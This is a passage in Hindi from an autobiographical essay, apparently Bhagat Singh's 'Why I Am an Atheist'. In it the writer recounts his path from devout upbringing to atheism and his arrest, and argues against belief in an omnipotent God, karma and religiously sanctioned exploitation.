जैसी भावना में फँसने का कोई मौका ही न मिल सका।
मैं तो एक बहुत लज्जालु स्वभाव का लड़का था,
जिसकी भविष्य के बारे में कुछ
निराशावादी प्रकृति थी। मेरे बाबा, जिनके प्रभाव में मैं
बड़ा हुआ, एक रूढ़िवादी आर्य समाजी हैं। एक आर्य
समाजी और कुछ भी हो, नास्तिक नहीं होता।
अपनी प्राथमिक शिक्षा पूरी करने के बाद मैंने डी0 ए0
वी0 स्कूल, लाहौर में प्रवेश लिया और पूरे एक साल उसके
छात्रावास में रहा। वहाँ सुबह और शाम की प्रार्थना के
अतिरिक्त में घण्टों गायत्री मंत्र जपा करता था। उन
दिनों मैं पूरा भक्त था। बाद में मैंने अपने पिता के साथ
रहना शुरू किया। जहाँ तक धार्मिक
रूढ़िवादिता का प्रश्न है, वह एक उदारवादी व्यक्ति हैं।
उन्हीं की शिक्षा से मुझे स्वतन्त्रता के ध्येय के लिये अपने
जीवन को समर्पित करने की प्रेरणा मिली। किन्तु वे
नास्तिक नहीं हैं। उनका ईश्वर में दृढ़ विश्वास है। वे मुझे
प्रतिदिन पूजा-प्रार्थना के लिये प्रोत्साहित करते रहते
थे। इस प्रकार से मेरा पालन-पोषण हुआ। असहयोग
आन्दोलन के दिनों में राष्ट्रीय कालेज में प्रवेश लिया।
यहाँ आकर ही मैंने सारी धार्मिक समस्याओं – यहाँ तक
कि ईश्वर के अस्तित्व के बारे में उदारतापूर्वक सोचना,
विचारना तथा उसकी आलोचना करना शुरू किया। पर
अभी भी मैं पक्का आस्तिक था। उस समय तक मैं अपने
लम्बे बाल रखता था। यद्यपि मुझे कभी-भी सिक्ख
या अन्य धर्मों की पौराणिकता और सिद्धान्तों में
विश्वास न हो सका था। किन्तु मेरी ईश्वर के अस्तित्व में
दृढ़ निष्ठा थी। बाद में मैं क्रान्तिकारी पार्टी से जुड़ा।
वहाँ जिस पहले नेता से मेरा सम्पर्क हुआ वे
तो पक्का विश्वास न होते हुए भी ईश्वर के अस्तित्व
को नकारने का साहस ही नहीं कर सकते थे। ईश्वर के बारे
में मेरे हठ पूर्वक पूछते रहने पर वे कहते, ‘’जब इच्छा हो, तब
पूजा कर लिया करो।’’ यह नास्तिकता है, जिसमें साहस
का अभाव है। दूसरे नेता, जिनके मैं सम्पर्क में आया, पक्के
श्रद्धालु आदरणीय कामरेड शचीन्द्र नाथ सान्याल
आजकल काकोरी षडयन्त्र केस के सिलसिले में आजीवन
कारवास भोग रहे हैं। उनकी पुस्तक ‘बन्दी जीवन’ ईश्वर
की महिमा का ज़ोर-शोर से गान है। उन्होंने उसमें ईश्वर
के ऊपर प्रशंसा के पुष्प रहस्यात्मक वेदान्त के कारण
बरसाये हैं। 28 जनवरी, 1925 को पूरे भारत में
जो ‘दि रिवोल्यूशनरी’ (क्रान्तिकारी)
पर्चा बाँटा गया था, वह उन्हीं के बौद्धिक श्रम
का परिणाम है। उसमें सर्वशक्तिमान और उसकी लीला एवं
कार्यों की प्रशंसा की गयी है। मेरा ईश्वर के
प्रति अविश्वास का भाव क्रान्तिकारी दल में
भी प्रस्फुटित नहीं हुआ था। काकोरी के सभी चार
शहीदों ने अपने अन्तिम दिन भजन-प्रार्थना में गुजारे थे।
राम प्रसाद ‘बिस्मिल’ एक रूढ़िवादी आर्य समाजी थे।
समाजवाद तथा साम्यवाद में अपने वृहद अध्ययन के बावजूद
राजेन लाहड़ी उपनिषद एवं गीता के श्लोकों के उच्चारण
की अपनी अभिलाषा को दबा न सके। मैंने उन सब मे
सिर्फ एक ही व्यक्ति को देखा,
जो कभी प्रार्थना नहीं करता था और कहता था,
‘’दर्शन शास्त्र मनुष्य की दुर्बलता अथवा ज्ञान के
सीमित होने के कारण उत्पन्न होता है। वह भी आजीवन
निर्वासन की सजा भोग रहा है। परन्तु उसने भी ईश्वर के
अस्तित्व को नकारने की कभी हिम्मत नहीं की।इस समय
तक मैं केवल एक रोमान्टिक
आदर्शवादी क्रान्तिकारी था। अब तक हम
दूसरों का अनुसरण करते थे। अब अपने कन्धों पर
ज़िम्मेदारी उठाने का समय आया था। यह मेरे
क्रान्तिकारी जीवन का एक निर्णायक बिन्दु था।
‘अध्ययन’ की पुकार मेरे मन के गलियारों में गूँज रही थी –
विरोधियों द्वारा रखे गये तर्कों का सामना करने योग्य
बनने के लिये अध्ययन करो। अपने मत के पक्ष में तर्क देने के
लिये सक्षम होने के वास्ते पढ़ो। मैंने पढ़ना शुरू कर दिया।
इससे मेरे पुराने विचार व विश्वास अद्भुत रूप से परिष्कृत
हुए। रोमांस की जगह गम्भीर विचारों ने ली ली। न और
अधिक रहस्यवाद, न ही अन्धविश्वास। यथार्थवाद
हमारा आधार बना। मुझे विश्वक्रान्ति के अनेक
आदर्शों के बारे में पढ़ने का खूब मौका मिला। मैंने
अराजकतावादी नेता बाकुनिन को पढ़ा, कुछ साम्यवाद
के पिता माक्र्स को, किन्तु अधिक लेनिन, त्रात्स्की, व
अन्य लोगों को पढ़ा, जो अपने देश में सफलतापूर्वक
क्रान्ति लाये थे। ये सभी नास्तिक थे। बाद में मुझे
निरलम्ब स्वामी की पुस्तक ‘सहज ज्ञान’ मिली। इसमें
रहस्यवादी नास्तिकता थी। 1926 के अन्त तक मुझे इस
बात का विश्वास हो गया कि एक सर्वशक्तिमान परम
आत्मा की बात, जिसने ब्रह्माण्ड का सृजन, दिग्दर्शन
और संचालन किया, एक कोरी बकवास है। मैंने अपने इस
अविश्वास को प्रदर्शित किया। मैंने इस विषय पर अपने
दोस्तों से बहस की। मैं एक घोषित नास्तिक
हो चुका था।मई 1927 में मैं लाहौर में गिरफ़्तार हुआ। रेलवे
पुलिस हवालात में मुझे एक महीना काटना पड़ा। पुलिस
अफ़सरों ने मुझे बताया कि मैं लखनऊ में था, जब
वहाँ काकोरी दल का मुकदमा चल रहा था, कि मैंने उन्हें
छुड़ाने की किसी योजना पर बात की थी,
कि उनकी सहमति पाने के बाद हमने कुछ बम प्राप्त किये
थे, कि 1927 में दशहरा के अवसर पर उन बमों में से एक
परीक्षण के लिये भीड़ पर फेंका गया, कि यदि मैं
क्रान्तिकारी दल की गतिविधियों पर प्रकाश डालने
वाला एक वक्तव्य दे दूँ, तो मुझे गिरफ़्तार
नहीं किया जायेगा और इसके विपरीत मुझे अदालत में
मुखबिर की तरह पेश किये बेगैर रिहा कर
दिया जायेगा और इनाम दिया जायेगा। मैं इस प्रस्ताव
पर हँसा। यह सब बेकार की बात थी। हम
लोगों की भाँति विचार रखने वाले अपनी निर्दोष
जनता पर बम नहीं फेंका करते। एक दिन सुबह सी0 आई0
डी0 के वरिष्ठ अधीक्षक श्री न्यूमन ने कहा कि यदि मैंने
वैसा वक्तव्य नहीं दिया, तो मुझ पर काकोरी केस से
सम्बन्धित विद्रोह छेड़ने के षडयन्त्र तथा दशहरा उपद्रव में
क्रूर हत्याओं के लिये मुकदमा चलाने पर बाध्य होंगे और
कि उनके पास मुझे सजा दिलाने व फाँसी पर लटकवाने के
लिये उचित प्रमाण हैं। उसी दिन से कुछ पुलिस अफ़सरों ने
मुझे नियम से दोनो समय ईश्वर की स्तुति करने के लिये
फुसलाना शुरू किया। पर अब मैं एक नास्तिक था। मैं स्वयं
के लिये यह बात तय
करना चाहता था कि क्या शान्ति और आनन्द के
दिनों में ही मैं नास्तिक होने का दम्भ भरता हूँ या ऐसे
कठिन समय में भी मैं उन सिद्धान्तों पर अडिग रह
सकता हूँ। बहुत सोचने के बाद मैंने निश्चय
किया कि किसी भी तरह ईश्वर पर विश्वास
तथा प्रार्थना मैं नहीं कर सकता। नहीं, मैंने एक क्षण के
लिये भी नहीं की। यही असली परीक्षण था और मैं सफल
रहा। अब मैं एक पक्का अविश्वासी था और तब से
लगातार हूँ। इस परीक्षण पर खरा उतरना आसान काम न
था। ‘विश्वास’ कष्टों को हलका कर देता है। यहाँ तक
कि उन्हें सुखकर बना सकता है। ईश्वर में मनुष्य
को अत्यधिक सान्त्वना देने वाला एक आधार मिल
सकता है। उसके बिना मनुष्य को अपने ऊपर निर्भर
करना पड़ता है। तूफ़ान और झंझावात के बीच अपने
पाँवों पर खड़ा रहना कोई बच्चों का खेल नहीं है।
परीक्षा की इन घड़ियों में अहंकार यदि है, तो भाप बन
कर उड़ जाता है और मनुष्य अपने विश्वास को ठुकराने
का साहस नहीं कर पाता। यदि ऐसा करता है, तो इससे
यह निष्कर्ष निकलता है कि उसके पास सिर्फ़ अहंकार
नहीं वरन् कोई अन्य शक्ति है। आज बिलकुल
वैसी ही स्थिति है। निर्णय का पूरा-पूरा पता है। एक
सप्ताह के अन्दर ही यह घोषित हो जायेगा कि मैं
अपना जीवन एक ध्येय पर न्योछावर करने जा रहा हूँ। इस
विचार के अतिरिक्त और क्या सान्त्वना हो सकती है?
ईश्वर में विश्वास रखने वाला हिन्दू पुनर्जन्म पर
राजा होने की आशा कर सकता है। एक मुसलमान
या ईसाई स्वर्ग में व्याप्त समृद्धि के आनन्द की तथा अपने
कष्टों और बलिदान के लिये पुरस्कार की कल्पना कर
सकता है। किन्तु मैं क्या आशा करूँ? मैं जानता हूँ
कि जिस क्षण रस्सी का फ़न्दा मेरी गर्दन पर लगेगा और
मेरे पैरों के नीचे से तख़्ता हटेगा, वह पूर्ण विराम होगा –
वह अन्तिम क्षण होगा। मैं या मेरी आत्मा सब
वहीं समाप्त हो जायेगी। आगे कुछ न रहेगा। एक
छोटी सी जूझती हुई ज़िन्दगी, जिसकी कोई
ऐसी गौरवशाली परिणति नहीं है, अपने में स्वयं एक
पुरस्कार होगी – यदि मुझमें इस दृष्टि से देखने का साहस
हो। बिना किसी स्वार्थ के यहाँ या यहाँ के बाद
पुरस्कार की इच्छा के बिना, मैंने अनासक्त भाव से अपने
जीवन को स्वतन्त्रता के ध्येय पर समर्पित कर दिया है,
क्योंकि मैं और कुछ कर ही नहीं सकता था। जिस दिन हमें
इस मनोवृत्ति के बहुत-से पुरुष और महिलाएँ मिल जायेंगे,
जो अपने जीवन को मनुष्य की सेवा और पीड़ित
मानवता के उद्धार के अतिरिक्त कहीं समर्पित कर
ही नहीं सकते, उसी दिन मुक्ति के युग का शुभारम्भ
होगा। वे शोषकों, उत्पीड़कों और
अत्याचारियों को चुनौती देने के लिये उत्प्रेरित होंगे।
इस लिये नहीं कि उन्हें राजा बनना है या कोई अन्य
पुरस्कार प्राप्त करना है यहाँ या अगले जन्म में
या मृत्योपरान्त स्वर्ग में। उन्हें तो मानवता की गर्दन से
दासता का जुआ उतार फेंकने और मुक्ति एवं
शान्ति स्थापित करने के लिये इस मार्ग
को अपनाना होगा। क्या वे उस रास्ते पर चलेंगे जो उनके
अपने लिये ख़तरनाक किन्तु उनकी महान आत्मा के लिये
एक मात्र कल्पनीय रास्ता है। क्या इस महान ध्येय के
प्रति उनके गर्व को अहंकार कहकर उसका गलत अर्थ
लगाया जायेगा? कौन इस प्रकार के घृणित विशेषण
बोलने का साहस करेगा? या तो वह मूर्ख है या धूर्त। हमें
चाहिए कि उसे क्षमा कर दें, क्योंकि वह उस हृदय में
उद्वेलित उच्च विचारों, भावनाओं,
आवेगों तथा उनकी गहराई को महसूस नहीं कर सकता।
उसका हृदय मांस के एक टुकड़े की तरह मृत है।
उसकी आँखों पर अन्य स्वार्थों के प्रेतों की छाया पड़ने
से वे कमज़ोर हो गयी हैं। स्वयं पर भरोसा रखने के गुण
को सदैव अहंकार की संज्ञा दी जा सकती है। यह दुखपूर्ण
और कष्टप्रद है, पर चारा ही क्या है?आलोचना और
स्वतन्त्र विचार एक क्रान्तिकारी के दोनो अनिवार्य
गुण हैं। क्योंकि हमारे पूर्वजों ने किसी परम आत्मा के
प्रति विश्वास बना लिया था। अतः कोई
भी व्यक्ति जो उस विश्वास को सत्यता या उस परम
आत्मा के अस्तित्व को ही चुनौती दे, उसको विधर्मी,
विश्वासघाती कहा जायेगा। यदि उसके तर्क इतने
अकाट्य हैं कि उनका खण्डन वितर्क
द्वारा नहीं हो सकता और उसकी आस्था इतनी प्रबल है
कि उसे ईश्वर के प्रकोप से होने
वाली विपत्तियों का भय दिखा कर
दबाया नहीं जा सकता तो उसकी यह कह कर
निन्दा की जायेगी कि वह वृथाभिमानी है। यह
मेरा अहंकार नहीं था, जो मुझे नास्तिकता की ओर ले
गया। मेरे तर्क का तरीका संतोषप्रद सिद्ध होता है
या नहीं इसका निर्णय मेरे पाठकों को करना है, मुझे
नहीं। मैं जानता हूँ कि ईश्वर पर विश्वास ने आज
मेरा जीवन आसान और मेरा बोझ हलका कर
दिया होता। उस पर मेरे अविश्वास ने सारे वातावरण
को अत्यन्त शुष्क बना दिया है। थोड़ा-सा रहस्यवाद इसे
कवित्वमय बना सकता है। किन्तु मेरे भाग्य
को किसी उन्माद का सहारा नहीं चाहिए। मैं
यथार्थवादी हूँ। मैं अन्तः प्रकृति पर विवेक
की सहायता से विजय चाहता हूँ। इस ध्येय में मैं सदैव सफल
नहीं हुआ हूँ। प्रयास करना मनुष्य का कर्तव्य है।
सफलता तो संयोग तथा वातावरण पर निर्भर है। कोई
भी मनुष्य, जिसमें तनिक भी विवेक शक्ति है, वह अपने
वातावरण को तार्किक रूप से समझना चाहेगा।
जहाँ सीधा प्रमाण नहीं है, वहाँ दर्शन शास्त्र का महत्व
है। जब हमारे पूर्वजों ने फुरसत के समय विश्व के रहस्य को,
इसके भूत, वर्तमान एवं भविष्य को, इसके क्यों और कहाँ से
को समझने का प्रयास किया तो सीधे परिणामों के
कठिन अभाव में हर व्यक्ति ने इन प्रश्नों को अपने ढ़ंग से
हल किया। यही कारण है कि विभिन्न धार्मिक मतों में
हमको इतना अन्तर मिलता है, जो कभी-कभी वैमनस्य
तथा झगड़े का रूप ले लेता है। न केवल पूर्व और पश्चिम के
दर्शनों में मतभेद है, बल्कि प्रत्येक गोलार्ध के अपने
विभिन्न मतों में आपस में अन्तर है। पूर्व के धर्मों में, इस्लाम
तथा हिन्दू धर्म में ज़रा भी अनुरूपता नहीं है। भारत में
ही बौद्ध तथा जैन धर्म उस ब्राह्मणवाद से बहुत अलग है,
जिसमें स्वयं आर्यसमाज व सनातन धर्म जैसे विरोधी मत
पाये जाते हैं। पुराने समय का एक स्वतन्त्र विचारक
चार्वाक है। उसने ईश्वर को पुराने समय में
ही चुनौती दी थी। हर व्यक्ति अपने को सही मानता है।
दुर्भाग्य की बात है कि बजाय पुराने विचारकों के
अनुभवों तथा विचारों को भविष्य में अज्ञानता के
विरुद्ध लड़ाई का आधार बनाने के हम आलसियों की तरह,
जो हम सिद्ध हो चुके हैं, उनके कथन में अविचल एवं
संशयहीन विश्वास की चीख पुकार करते रहते हैं और इस
प्रकार मानवता के विकास को जड़ बनाने के दोषी हैं।
सिर्फ विश्वास और अन्ध विश्वास ख़तरनाक है। यह
मस्तिष्क को मूढ़ और मनुष्य को प्रतिक्रियावादी
बना देता है। जो मनुष्य अपने को यथार्थवादी होने
का दावा करता है, उसे समस्त प्राचीन रूढ़िगत
विश्वासों को चुनौती देनी होगी। प्रचलित
मतों को तर्क की कसौटी पर कसना होगा। यदि वे तर्क
का प्रहार न सह सके, तो टुकड़े-टुकड़े होकर गिर पड़ेगा। तब
नये दर्शन की स्थापना के लिये
उनको पूरा धराशायी करकेे जगह साफ करना और पुराने
विश्वासों की कुछ बातों का प्रयोग करके पुनर्निमाण
करना। मैं प्राचीन विश्वासांे के ठोसपन पर प्रश्न करने के
सम्बन्ध में आश्वस्त हूँ। मुझे पूरा विश्वास है कि एक चेतन
परम आत्मा का, जो प्रकृति की गति का दिग्दर्शन एवं
संचालन करता है, कोई अस्तित्व नहीं है। हम प्रकृति में
विश्वास करते हैं और समस्त प्रगतिशील आन्दोलन का ध्येय
मनुष्य द्वारा अपनी सेवा के लिये प्रकृति पर विजय
प्राप्त करना मानते हैं। इसको दिशा देने के पीछे कोई चेतन
शक्ति नहीं है। यही हमारा दर्शन है। हम आस्तिकों से कुछ
प्रश्न करना चाहते हैं।यदि आपका विश्वास है कि एक
सर्वशक्तिमान, सर्वव्यापक और सर्वज्ञानी ईश्वर है,
जिसने विश्व की रचना की, तो कृपा करके मुझे यह बतायें
कि उसने यह रचना क्यों की? कष्टों और संतापों से पूर्ण
दुनिया – असंख्य दुखों के शाश्वत अनन्त गठबन्धनों से
ग्रसित! एक भी व्यक्ति तो पूरी तरह संतृष्ट नही है।
कृपया यह न कहें कि यही उसका नियम है। यदि वह
किसी नियम से बँधा है तो वह सर्वशक्तिमान नहीं है। वह
भी हमारी ही तरह नियमों का दास है। कृपा करके यह
भी न कहें कि यह उसका मनोरंजन है। नीरो ने बस एक रोम
जलाया था। उसने बहुत थोड़ी संख्या में
लोगांें की हत्या की थी। उसने तो बहुत थोड़ा दुख
पैदा किया, अपने पूर्ण मनोरंजन के लिये। और
उसका इतिहास में क्या स्थान है? उसे इतिहासकार किस
नाम से बुलाते हैं? सभी विषैले विशेषण उस पर बरसाये जाते
हैं। पन्ने उसकी निन्दा के वाक्यों से काले पुते हैं,
भत्र्सना करते हैं – नीरो एक हृदयहीन, निर्दयी, दुष्ट। एक
चंगेज खाँ ने अपने आनन्द के लिये कुछ हजार जानें ले
लीं और आज हम उसके नाम से घृणा करते हैं। तब किस
प्रकार तुम अपने ईश्वर को न्यायोचित ठहराते हो? उस
शाश्वत नीरो को, जो हर दिन, हर घण्टे ओर हर मिनट
असंख्य दुख देता रहा, और अभी भी दे रहा है। फिर तुम कैसे
उसके दुष्कर्मों का पक्ष लेने की सोचते हो, जो चंगेज
खाँ से प्रत्येक क्षण अधिक है? क्या यह सब बाद में इन
निर्दोष कष्ट सहने वालों को पुरस्कार और गलती करने
वालों को दण्ड देने के लिये हो रहा है? ठीक है, ठीक है।
तुम कब तक उस व्यक्ति को उचित ठहराते रहोगे, जो हमारे
शरीर पर घाव करने का साहस इसलिये करता है कि बाद में
मुलायम और आरामदायक मलहम लगायेगा? ग्लैडिएटर
संस्था के व्यवस्थापक कहाँ तक उचित करते थे कि एक भूखे
ख़ूंख़्वार शेर के सामने मनुष्य को फेंक दो कि, यदि वह उससे
जान बचा लेता है, तो उसकी खूब देखभाल की जायेगी?
इसलिये मैं पूछता हूँ कि उस चेतन परम आत्मा ने इस विश्व
और उसमें मनुष्यों की रचना क्यों की? आनन्द लूटने के
लिये? तब उसमें और नीरो में क्या फर्क है?तुम
मुसलमानो और ईसाइयो! तुम तो पूर्वजन्म में विश्वास
नहीं करते। तुम तो हिन्दुओं की तरह यह तर्क पेश नहीं कर
सकते कि प्रत्यक्षतः निर्दोष व्यक्तियों के कष्ट उनके
पूर्वजन्मों के कर्मों का फल है। मैं तुमसे पूछता हूँ कि उस
सर्वशक्तिशाली ने शब्द द्वारा विश्व के उत्पत्ति के लिये
छः दिन तक क्यों परिश्रम किया? और प्रत्येक दिन वह
क्यों कहता है कि सब ठीक है? बुलाओ उसे आज। उसे
पिछला इतिहास दिखाओ। उसे आज
की परिस्थितियों का अध्ययन करने दो। हम देखेंगे
कि क्या वह कहने का साहस करता है कि सब ठीक है।
कारावास की काल-कोठरियों से लेकर
झोपड़ियों की बस्तियों तक भूख से तड़पते
लाखों इन्सानों से लेकर उन शोषित मज़दूरों से लेकर
जो पूँजीवादी पिशाच द्वारा खून चूसने
की क्रिया को धैर्यपूर्वक निरुत्साह से देख रहे हैं तथा उस
मानवशक्ति की बर्बादी देख रहे हैं, जिसे देखकर कोई
भी व्यक्ति, जिसे तनिक भी सहज ज्ञान है, भय से सिहर
उठेगा, और अधिक उत्पादन को ज़रूरतमन्द लोगों में बाँटने
के बजाय समुद्र में फेंक देना बेहतर समझने से लेकर राजाआंे के
उन महलों तक जिनकी नींव मानव की हड्डियों पर
पड़ी है- उसको यह सब देखने दो और फिर कहे – सब कुछ
ठीक है! क्यों और कहाँ से? यही मेरा प्रश्न है। तुम चुप हो।
ठीक है, तो मैं आगे चलता हूँ।और तुम हिन्दुओ, तुम कहते
हो कि आज जो कष्ट भोग रहे हैं, ये पूर्वजन्म के पापी हैं
और आज के उत्पीड़क पिछले जन्मों में साधु पुरुष थे, अतः वे
सत्ता का आनन्द लूट रहे हैं। मुझे यह मानना पड़ता है
कि आपके पूर्वज बहुत चालाक व्यक्ति थे। उन्होंने ऐसे
सिद्धान्त गढ़े, जिनमें तर्क और अविश्वास के
सभी प्रयासों को विफल करने की काफ़ी ताकत है।
न्यायशास्त्र के अनुसार दण्ड को अपराधी पर पड़ने वाले
असर के आधार पर केवल तीन कारणों से उचित
ठहराया जा सकता है। वे हैं – प्रतिकार, भय तथा सुधार।
आज सभी प्रगतिशील विचारकों द्वारा प्रतिकार के
सिद्धान्त की निन्दा की जाती है। भयभीत करने के
सिद्धान्त का भी अन्त वहीं है। सुधार करने
का सिद्धान्त ही केवल आवश्यक है और
मानवता की प्रगति के लिये अनिवार्य है। इसका ध्येय
अपराधी को योग्य और शान्तिप्रिय नागरिक के रूप में
समाज को लौटाना है। किन्तु यदि हम
मनुष्यों को अपराधी मान भी लें, तो ईश्वर द्वारा उन्हें
दिये गये दण्ड की क्या प्रकृति है? तुम कहते हो वह उन्हें
गाय, बिल्ली, पेड़, जड़ी-बूटी या जानवर बनाकर
पैदा करता है। तुम ऐसे 84 लाख दण्डों को गिनाते हो। मैं
पूछता हूँ कि मनुष्य पर इनका सुधारक के रूप में क्या असर
है? तुम ऐसे कितने व्यक्तियों से मिले हो, जो यह कहते हैं
कि वे किसी पाप के कारण पूर्वजन्म में गधा के रूप में
पैदा हुए थे? एक भी नहीं? अपने पुराणों से उदाहरण न दो।
मेरे पास तुम्हारी पौराणिक कथाओं के लिए कोई स्थान
नहीं है। और फिर क्या तुम्हें पता है कि दुनिया में सबसे
बड़ा पाप गरीब होना है। गरीबी एक अभिशाप है। यह
एक दण्ड है। मैं पूछता हूँ कि दण्ड प्रक्रिया की कहाँ तक
प्रशंसा करें, जो अनिवार्यतः मनुष्य को और अधिक
अपराध करने को बाध्य करे? क्या तुम्हारे ईश्वर ने यह
नहीं सोचा था या उसको भी ये सारी बातें
मानवता द्वारा अकथनीय कष्टों के झेलने की कीमत पर
अनुभव से सीखनी थीं? तुम क्या सोचते हो, किसी गरीब
या अनपढ़ परिवार, जैसे एक चमार या मेहतर के
यहाँ पैदा होने पर इन्सान का क्या भाग्य होगा?
चूँकि वह गरीब है, इसलिये पढ़ाई नहीं कर सकता। वह अपने
साथियों से तिरस्कृत एवं परित्यक्त रहता है,
जो ऊँची जाति में पैदा होने के कारण अपने
को ऊँचा समझते हैं। उसका अज्ञान,
उसकी गरीबी तथा उससे किया गया व्यवहार उसके हृदय
को समाज के प्रति निष्ठुर बना देते हैं। यदि वह कोई पाप
करता है तो उसका फल कौन भोेगेगा? ईष्वर, वह स्वयं
या समाज के मनीषी? और उन लोगों के दण्ड के बारे में
क्या होगा, जिन्हें दम्भी ब्राह्मणों ने जानबूझ कर
अज्ञानी बनाये रखा तथा जिनको तुम्हारी ज्ञान
की पवित्र पुस्तकों – वेदों के कुछ वाक्य सुन लेने के कारण
कान में पिघले सीसे की धारा सहन करने
की सजा भुगतनी पड़ती थी? यदि वे कोई अपराध करते हैं,
तो उसके लिये कौन ज़िम्मेदार होगा? और उनका प्रहार
कौन सहेगा? मेरे प्रिय दोस्तों! ये सिद्धान्त
विशेषाधिकार युक्त लोगों के आविष्कार हैं। ये
अपनी हथियाई हुई शक्ति, पूँजी तथा उच्चता को इन
सिद्धान्तों के आधार पर सही ठहराते हैं। अपटान
सिंक्लेयर ने लिखा था कि मनुष्य को बस अमरत्व में
विश्वास दिला दो और उसके बाद
उसकी सारी सम्पत्ति लूट लो। वह बगैर बड़बड़ाये इस कार्य
में तुम्हारी सहायता करेगा। धर्म के
उपदेशकों तथा सत्ता के स्वामियों के गठबन्धन से ही जेल,
फाँसी, कोड़े और ये सिद्धान्त उपजते हैं।मैं पूछता हूँ
तुम्हारा सर्वशक्तिशाली ईश्वर हर
व्यक्ति को क्यों नहीं उस समय रोकता है जब वह कोई
पाप या अपराध कर रहा होता है? यह तो वह बहुत
आसानी से कर सकता है। उसने क्यों नहीं लड़ाकू राजाओं
की लड़ने की उग्रता को समाप्त किया और इस प्रकार
विश्वयुद्ध द्वारा मानवता पर पड़ने वाली विपत्तियों से
उसे बचाया? उसने अंग्रेजों के मस्तिष्क में भारत को मुक्त
कर देने की भावना क्यों नहीं पैदा की? वह
क्यों नहीं पूँजीपतियों के हृदय में यह परोपकारी उत्साह
भर देता कि वे उत्पादन के साधनों पर अपना व्यक्तिगत
सम्पत्ति का अधिकार त्याग दें और इस प्रकार केवल
सम्पूर्ण श्रमिक समुदाय, वरन समस्त मानव समाज
को पूँजीवादी बेड़ियों से मुक्त करें? आप समाजवाद
की व्यावहारिकता पर तर्क करना चाहते हैं। मैं इसे आपके
सर्वशक्तिमान पर छोड़ देता हूँ कि वह लागू करे। जहाँ तक
सामान्य भलाई की बात है, लोग समाजवाद के
गुणों को मानते हैं। वे इसके व्यावहारिक न होने
का बहाना लेकर इसका विरोध करते हैं।
परमात्मा को आने दो और वह चीज को सही तरीके से कर
दे। अंग्रेजों की हुकूमत यहाँ इसलिये नहीं है कि ईश्वर
चाहता है बल्कि इसलिये कि उनके पास ताकत है और हममें
उनका विरोध करने की हिम्मत नहीं। वे हमको अपने
प्रभुत्व में ईश्वर की मदद से नहीं रखे हैं, बल्कि बन्दूकों,
राइफलों, बम और गोलियों, पुलिस और सेना के सहारे। यह
हमारी उदासीनता है कि वे समाज के विरुद्ध सबसे
निन्दनीय अपराध – एक राष्ट्र का दूसरे राष्ट्र
द्वारा अत्याचार पूर्ण शोषण – सफलतापूर्वक कर रहे हैं।
कहाँ है ईश्वर? क्या वह मनुष्य जाति के इन
कष्टों का मज़ा ले रहा है? एक नीरो, एक चंगेज,
उसका नाश हो!क्या तुम मुझसे पूछते हो कि मैं इस विश्व
की उत्पत्ति तथा मानव की उत्पत्ति की व्याख्या कैसे
करता हूँ? ठीक है, मैं तुम्हें बताता हूँ। चाल्र्स डारविन ने
इस विषय पर कुछ प्रकाश डालने की कोशिश की है। उसे
पढ़ो। यह एक प्रकृति की घटना है। विभिन्न पदार्थों के,
नीहारिका के आकार में, आकस्मिक मिश्रण से
पृथ्वी बनी। कब? इतिहास देखो। इसी प्रकार
की घटना से जन्तु पैदा हुए और एक लम्बे दौर में मानव।
डार्विन की ‘जीव की उत्पत्ति’ पढ़ो। और तदुपरान्त
सारा विकास मनुष्य द्वारा प्रकृति के लगातार विरोध
और उस पर विजय प्राप्त करने की चेष्टा से हुआ। यह इस
घटना की सम्भवतः सबसे सूक्ष्म व्याख्या है।
तुम्हारा दूसरा तर्क यह हो सकता है कि क्यों एक
बच्चा अन्धा या लंगड़ा पैदा होता है? क्या यह उसके
पूर्वजन्म में किये गये कार्यों का फल नहीं है?
जीवविज्ञान वेत्ताओं ने इस समस्या का वैज्ञानिक
समाधान निकाल लिया है। अवश्य ही तुम एक और
बचकाना प्रश्न पूछ सकते हो। यदि ईश्वर नहीं है, तो लोग
उसमें विश्वास क्यों करने लगे? मेरा उत्तर सूक्ष्म
तथा स्पष्ट है। जिस प्रकार वे प्रेतों तथा दुष्ट आत्माओं में
विश्वास करने लगे। अन्तर केवल इतना है कि ईश्वर में
विश्वास विश्वव्यापी है और दर्शन अत्यन्त विकसित।
इसकी उत्पत्ति का श्रेय उन शोषकों की प्रतिभा को है,
जो परमात्मा के अस्तित्व का उपदेश देकर लोगों को अपने
प्रभुत्व में रखना चाहते थे तथा उनसे अपनी विशिष्ट
स्थिति का अधिकार एवं अनुमोदन चाहते थे। सभी धर्म,
समप्रदाय, पन्थ और ऐसी अन्य संस्थाएँ अन्त में
निर्दयी और शोषक संस्थाओं,
व्यक्तियों तथा वर्गों की समर्थक हो जाती हैं।
राजा के विरुद्ध हर विद्रोह हर धर्म में सदैव ही पाप
रहा है।मनुष्य की सीमाओं को पहचानने पर,
उसकी दुर्बलता व दोष को समझने के बाद
परीक्षा की घड़ियों में मनुष्य को बहादुरी से
सामना करने के लिये उत्साहित करने,
सभी ख़तरों को पुरुषत्व के साथ झेलने तथा सम्पन्नता एवं
ऐश्वर्य में उसके विस्फोट को बाँधने के लिये ईश्वर के
काल्पनिक अस्तित्व की रचना हुई। अपने व्यक्तिगत
नियमों तथा अभिभावकीय उदारता से पूर्ण ईश्वर
की बढ़ा-चढ़ा कर कल्पना एवं चित्रण किया गया। जब
उसकी उग्रता तथा व्यक्तिगत
नियमों की चर्चा होती है, तो उसका उपयोग एक भय
दिखाने वाले के रूप में किया जाता है। ताकि कोई मनुष्य
समाज के लिये ख़तरा न बन जाये। जब उसके अभिभावक
गुणों की व्याख्या होती ह,ै तो उसका उपयोग एक
पिता, माता, भाई, बहन, दोस्त तथा सहायक की तरह
किया जाता है। जब मनुष्य अपने
सभी दोस्तों द्वारा विश्वासघात तथा त्याग देने से
अत्यन्त क्लेष में हो, तब उसे इस विचार से सान्त्वना मिल
सकती हे कि एक सदा सच्चा दोस्त उसकी सहायता करने
को है, उसको सहारा देगा तथा वह सर्वशक्तिमान है और
कुछ भी कर सकता है। वास्तव में आदिम काल में यह समाज
के लिये उपयोगी था। पीड़ा में पड़े मनुष्य के लिये ईश्वर
की कल्पना उपयोगी होती है। समाज को इस विश्वास
के विरुद्ध लड़ना होगा। मनुष्य जब अपने पैरों पर खड़ा होने
का प्रयास करता है तथा यथार्थवादी बन जाता है, तब
उसे श्रद्धा को एक ओर फेंक देना चाहिए और उन
सभी कष्टों, परेशानियों का पुरुषत्व के साथ
सामना करना चाहिए, जिनमें परिस्थितियाँ उसे पटक
सकती हैं। यही आज मेरी स्थिति है। यह मेरा अहंकार
नहीं है, मेरे दोस्त! यह मेरे सोचने का तरीका है, जिसने मुझे
